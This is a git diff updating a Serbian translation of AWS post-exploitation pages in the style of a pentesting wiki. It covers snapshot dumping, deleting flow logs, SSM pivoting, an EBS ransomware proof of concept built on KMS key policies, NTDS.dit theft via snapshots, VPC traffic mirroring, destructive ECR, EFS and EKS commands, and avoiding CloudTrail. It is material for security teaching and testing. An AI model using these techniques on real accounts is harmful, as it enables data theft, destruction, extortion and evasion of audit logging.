informacije iz njega: -Za više informacija pogledajte ovu stranicu: +Za više informacija proverite ovu stranicu: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i na vašem vlastitom nalogu) iz nje**: +Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da se **napravi AMI i pokrene nova instanca (čak i u vašem vlastitom nalogu) iz nje**: ```shell # List instances aws ec2 describe-images @@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshot-i su rezervne kopije volumena**, koje obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije ove informacije.\ +**Snapshot-i su backup-i volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje treba da otkrije te informacije.\ Ako pronađete **volumen bez snapshot-a**, možete: **Kreirati snapshot** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga: {{#ref}} @@ -70,7 +70,7 @@ aws-ebs-snapshot-dump.md #### Exfiltration via API calls -Napadač bi mogao da pozove API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima. +Napadač može pozvati API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima. ### Open Security Group @@ -85,7 +85,7 @@ Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju Za [**više informacija proverite ovo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### Ukloni VPC tok logove +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ Required permissions: - `ssm:StartSession` -Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može zloupotrebiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster. +Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može iskoristiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster. > Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -104,7 +104,7 @@ Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Dobijte privremene akreditive za Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte +3. Dobijte privremene akreditive Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) skripte 4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil 5. Prijavite se na EKS kao Bastion EC2: ```shell @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebalo preimenovati u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga. +Dokaz koncepta sličan demonstraciji Ransomware-a prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga. -Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim', a pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption' +Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji upravlja korisnik u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -239,11 +239,11 @@ Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se om - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koja ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. Ovi EBS volumeni 'žrtvinske' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama AWS. +Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačke' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačkog' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) To rezultira time da su u računu ostali samo enkriptovani EBS volumeni. @@ -324,15 +324,15 @@ Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite prav ] } ``` -Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovani' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen. +Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovanu' račun i pokušajte da priključite jedan od novokreiranih EBS volumena. Otkrivaćete da možete da priključite volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ, jer politika ključeva više to ne dozvoljava. +Ali kada pokušate da zapravo pokrenete EC2 instancu sa priključenim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključeni EBS volumen ne može dekriptovati koristeći ključ jer politika ključeva više to ne dozvoljava. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovani' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' nalogu. SAMO KORISTITE OVU SKRIPTU U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana. +Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovanu' račun i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS računu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' računu. SAMO KORISTITE OVU SKRIPTU U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 1e7b964af..4c8db552f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -56,41 +56,41 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps ``` **Montirajte ga u EC2 VM pod vašom kontrolom** (mora biti u istoj regiji kao kopija rezervne kopije): -Step 1: Nova zapremina vaše željene veličine i tipa treba da se kreira odlaskom na EC2 –> Zapremine. +Korak 1: Novi volumen vaše omiljene veličine i tipa treba da bude kreiran odlaskom na EC2 –> Volumeni. -Da biste mogli da izvršite ovu radnju, pratite ove komande: +Da biste mogli da izvršite ovu akciju, pratite ove komande: -- Kreirajte EBS zapreminu koju ćete priključiti EC2 instanci. -- Osigurajte da su EBS zapremina i instanca u istoj zoni. +- Kreirajte EBS volumen koji će se priključiti EC2 instanci. +- Osigurajte da su EBS volumen i instanca u istoj zoni. -Step 2: Opcija "priključi zapreminu" treba da se izabere desnim klikom na kreiranu zapreminu. +Korak 2: Opcija "priključi volumen" treba da bude izabrana desnim klikom na kreirani volumen. -Step 3: Instanca iz tekstualnog okvira instance treba da se izabere. +Korak 3: Instanca iz tekstualnog okvira instance treba da bude izabrana. -Da biste mogli da izvršite ovu radnju, koristite sledeću komandu: +Da biste mogli da izvršite ovu akciju, koristite sledeću komandu: -- Priključite EBS zapreminu. +- Priključite EBS volumen. -Step 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu `lsblk`. +Korak 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu `lsblk`. -Step 5: Proverite da li zapremina ima podataka koristeći komandu `sudo file -s /dev/xvdf`. +Korak 5: Proverite da li volumen ima podataka koristeći komandu `sudo file -s /dev/xvdf`. -Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je zapremina prazna. +Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je volumen prazan. -Step 6: Formatirajte zapreminu u ext4 datotečni sistem koristeći komandu `sudo mkfs -t ext4 /dev/xvdf`. Alternativno, možete koristiti i xfs format koristeći komandu `sudo mkfs -t xfs /dev/xvdf`. Imajte na umu da treba da koristite ili ext4 ili xfs. +Korak 6: Formatirajte volumen u ext4 datotečni sistem koristeći komandu `sudo mkfs -t ext4 /dev/xvdf`. Alternativno, možete koristiti i xfs format koristeći komandu `sudo mkfs -t xfs /dev/xvdf`. Imajte na umu da treba da koristite ili ext4 ili xfs. -Step 7: Kreirajte direktorijum po vašem izboru da montirate novu ext4 zapreminu. Na primer, možete koristiti naziv "newvolume". +Korak 7: Kreirajte direktorijum po vašem izboru da montirate novi ext4 volumen. Na primer, možete koristiti naziv "newvolume". -Da biste mogli da izvršite ovu radnju, koristite komandu `sudo mkdir /newvolume`. +Da biste mogli da izvršite ovu akciju, koristite komandu `sudo mkdir /newvolume`. -Step 8: Montirajte zapreminu u direktorijum "newvolume" koristeći komandu `sudo mount /dev/xvdf /newvolume/`. +Korak 8: Montirajte volumen u direktorijum "newvolume" koristeći komandu `sudo mount /dev/xvdf /newvolume/`. -Step 9: Promenite direktorijum u "newvolume" direktorijum i proverite prostor na disku da biste potvrdili montiranje zapremine. +Korak 9: Promenite direktorijum u direktorijum "newvolume" i proverite prostor na disku da biste potvrdili montiranje volumena. -Da biste mogli da izvršite ovu radnju, koristite sledeće komande: +Da biste mogli da izvršite ovu akciju, koristite sledeće komande: - Promenite direktorijum u `/newvolume`. -- Proverite prostor na disku koristeći komandu `df -h .`. Izlaz ove komande treba da prikazuje slobodan prostor u "newvolume" direktorijumu. +- Proverite prostor na disku koristeći komandu `df -h .`. Izlaz ove komande treba da prikazuje slobodan prostor u direktorijumu "newvolume". Možete to uraditi sa Pacu koristeći modul `ebs__explore_snapshots`. @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Svaki AWS korisnik koji ima **`EC2:CreateSnapshot`** dozvolu može ukrasti hešove svih korisnika domena kreiranjem **snapshot-a Kontrolera domena**, montirajući ga na instancu koju kontroliše i **izvozeći NTDS.dit i SYSTEM** registry hive datoteku za korišćenje sa Impacketovim secretsdump projektom. +Svaki AWS korisnik koji ima **`EC2:CreateSnapshot`** dozvolu može ukrasti heševe svih korisnika domena kreiranjem **snapshot-a Kontrolera Domen** i montiranjem na instancu koju kontroliše, a zatim **izvozom NTDS.dit i SYSTEM** registra za korišćenje sa Impacketovim secretsdump projektom. Možete koristiti ovaj alat za automatizaciju napada: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ili možete koristiti neku od prethodnih tehnika nakon kreiranja snapshot-a. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index f2a8ae4b2..73f36b514 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Proverite** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **za dalјe detalje o napadu!** -Pasivna inspekcija mreže u cloud okruženju je bila **izazovna**, zahtevajući velike promene u konfiguraciji za praćenje mrežnog saobraćaja. Međutim, nova funkcija pod nazivom “**VPC Traffic Mirroring**” je uvedena od strane AWS-a kako bi se pojednostavio ovaj proces. Sa VPC Traffic Mirroring, mrežni saobraćaj unutar VPC-a može biti **dupliran** bez instaliranja bilo kakvog softvera na samim instancama. Ovaj duplirani saobraćaj može biti poslat na sistem za detekciju mrežnih upada (IDS) radi **analize**. +Pasivna mrežna inspekcija u cloud okruženju je bila **izazovna**, zahtevajući velike promene u konfiguraciji za praćenje mrežnog saobraćaja. Međutim, nova funkcija pod nazivom “**VPC Traffic Mirroring**” je uvedena od strane AWS-a kako bi se pojednostavio ovaj proces. Sa VPC Traffic Mirroring, mrežni saobraćaj unutar VPC-a može biti **dupliran** bez instaliranja bilo kakvog softvera na samim instancama. Ovaj duplirani saobraćaj može biti poslat na sistem za detekciju mrežnih upada (IDS) radi **analize**. Da bismo odgovorili na potrebu za **automatskom implementacijom** potrebne infrastrukture za mirroring i eksfiltraciju VPC saobraćaja, razvili smo skriptu za dokazivanje koncepta pod nazivom “**malmirror**”. Ova skripta se može koristiti sa **kompromitovanim AWS kredencijalima** za postavljanje mirroring-a za sve podržane EC2 instance u ciljanom VPC-u. Važno je napomenuti da VPC Traffic Mirroring podržavaju samo EC2 instance pokretane AWS Nitro sistemom, a VPC cilj za mirroring mora biti unutar istog VPC-a kao i hostovi koji se mirroring-uju. **Uticaj** zlonamernog VPC saobraćaja može biti značajan, jer omogućava napadačima pristup **osetljivim informacijama** koje se prenose unutar VPC-a. **Verovatnoća** takvog zlonamernog mirroring-a je visoka, s obzirom na prisustvo **saobraćaja u čistom tekstu** koji prolazi kroz VPC-e. Mnoge kompanije koriste protokole u čistom tekstu unutar svojih internih mreža iz **razloga performansi**, pretpostavljajući da tradicionalni napadi tipa man-in-the-middle nisu mogući. -Za više informacija i pristup [**malmirror skripti**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), može se pronaći u našoj **GitHub repozitoriji**. Skripta automatizuje i pojednostavljuje proces, čineći ga **brzim, jednostavnim i ponovljivim** za ofanzivne istraživačke svrhe. +Za više informacija i pristup [**malmirror skripti**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), može se pronaći u našoj **GitHub repozitoriji**. Skripta automatizuje i pojednostavljuje proces, čineći ga **brzim, jednostavnim i ponovljivim** za svrhe ofanzivnog istraživanja. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index af818bde0..e9eadda31 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -После преузимања слика требало би да **проверите да ли садрже осетљиве информације**: +Nakon preuzimanja slika, trebali biste **proveriti ih na osetljive informacije**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Нападач са било којом од ових дозвола може **креирати или модификовати политику животног циклуса да обрише све слике у репозиторијуму** и затим **обрисати цео ECR репозиторијум**. То би резултирало губитком свих контејнерских слика које су похрањене у репозиторијуму. +Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih slika kontejnera smeštenih u repozitorijumu. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index f715303be..28f443bbd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -50,7 +50,7 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` -### Uk stealing osetljivih informacija iz ECR kontejnera +### Ukrasti osetljive informacije iz ECR kontejnera EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 67da665fe..ad6a17211 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -24,19 +24,19 @@ Napadač bi mogao da obriše čitav EFS sistem datoteka, što bi moglo dovesti d ```perl aws efs delete-file-system --file-system-id ``` -**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani fajl sistem. +**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani sistem datoteka. ### `elasticfilesystem:UpdateFileSystem` -Napadač bi mogao da ažurira svojstva EFS fajl sistema, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa. +Napadač bi mogao da ažurira svojstva EFS sistema datoteka, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` -**Potencijalni uticaj**: Degradacija performansi fajl sistema ili iscrpljivanje resursa. +**Potencijalni uticaj**: Smanjenje performansi fajl sistema ili iscrpljivanje resursa. ### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint` -Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi dodeljujući neovlašćen pristup fajl sistemu. +Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi omogućavajući neovlašćen pristup fajl sistemu. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 6ceac5d10..4d5c56b7d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -12,7 +12,7 @@ Za više informacija proverite ### Enumerate the cluster from the AWS Console -Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Saznajte više](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### Connect to AWS Kubernetes Cluster @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - Nije tako lak način: -Ako možete **dobiti token** sa **`aws eks get-token --name `** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), mogli biste **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potreban **url endpoint za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**. +Ako možete **dobiti token** sa **`aws eks get-token --name `** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potrebna **url adresa za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**. U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam **pronašao u LaunchTemplates userData** i u **EC2 mašinama u userData takođe**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name): ```bash @@ -33,7 +33,7 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon ```
-kube konfiguracija +kube config ```yaml describe-cache-parametersapiVersion: v1 clusters: @@ -77,7 +77,7 @@ provideClusterInfo: false Način da se dodeli **pristup više AWS IAM korisnicima ili rolama** je korišćenjem **configmap** **`aws-auth`**. > [!WARNING] -> Stoga, svako ko ima **pristup za pisanje** na config mapu **`aws-auth`** će moći da **kompromituje ceo klaster**. +> Stoga, svako ko ima **pristup za pisanje** preko config mapa **`aws-auth`** će moći da **kompromituje ceo klaster**. Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **isto ili različitoj računu** i kako da **zloupotrebite** ovo da [**privesc proverite ovu stranicu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). @@ -87,7 +87,7 @@ Proverite takođe[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-aut Moguće je omogućiti **OpenID autentifikaciju za kubernetes servisni nalog** da im omogući da preuzmu uloge u AWS-u. Saznajte kako [**to funkcioniše na ovoj stranici**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint iz JWT Tokena +### DOBIJANJE Api Server Endpoint-a iz JWT Tokena Dekodiranjem JWT tokena dobijamo id klastera i takođe region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url ```bash @@ -114,30 +114,30 @@ for comb in product(letter_combinations, number_combinations) with open('out.txt', 'w') as f: f.write('\n'.join(result)) ``` -Тада са wfuzz +Zatim sa wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` > [!WARNING] -> Запамтите да замените & . +> Zapamtite da zamenite & . -### Заобилажење CloudTrail +### Bypass CloudTrail -Ако нападач добије акредитиве AWS са **дозволом над EKS**. Ако нападач конфигурише свој **`kubeconfig`** (без позивања **`update-kubeconfig`**) као што је објашњено раније, **`get-token`** не генерише логове у Cloudtrail-у јер не интерактује са AWS API-jem (само локално креира токен). +Ako napadač dobije akreditive AWS sa **dozvolama nad EKS**. Ako napadač konfiguriše svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail-u jer ne komunicira sa AWS API-jem (samo kreira token lokalno). -Дакле, када нападач комуницира са EKS кластером, **cloudtrail неће логовати ништа у вези са украденим корисником и његовим приступом**. +Dakle, kada napadač komunicira sa EKS klasterom, **cloudtrail neće zabeležiti ništa vezano za ukradenu korisničku sesiju i pristup**. -Напомена да **EKS кластер може имати укључене логове** који ће логовати овај приступ (иако су по подразумеваној поставци онемогућени). +Napomena da **EKS klaster može imati omogućene logove** koji će zabeležiti ovaj pristup (iako su po defaultu isključeni). -### EKS Откуп? +### EKS Ransom? -По подразумеваној поставци, **корисник или улога која је креирала** кластер **УВЕК ће имати администраторске привилегије** над кластером. И да је то једини "сигуран" приступ који AWS може имати над Kubernetes кластером. +Po defaultu, **korisnik ili uloga koja je kreirala** klaster uvek će imati **admin privilegije** nad klasterom. I to je jedini "siguran" pristup koji AWS može imati nad Kubernetes klasterom. -Дакле, ако **нападач компромитује кластер користећи fargate** и **уклони све остале администраторе** и **обрише AWS корисника/улогу која је креирала** кластер, ~~нападач би могао да **откупи кластер**~~**. +Dakle, ako **napadač kompromituje klaster koristeći fargate** i **ukloni sve druge administratore** i **obriše AWS korisnika/ulogu koja je kreirala** klaster, ~~napadač bi mogao da **iznudi klaster**~~**r**. > [!TIP] -> Напомена да ако је кластер користио **EC2 ВМ**, могло би бити могуће добити администраторске привилегије из **Node** и опоравити кластер. +> Napomena da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti admin privilegije sa **Node** i povratiti klaster. > -> У ствари, ако кластер користи Fargate, могли бисте EC2 чворове или преместити све на EC2 у кластер и опоравити га приступајући токенима у чвору. +> U stvari, ako klaster koristi Fargate, mogli biste da koristite EC2 čvorove 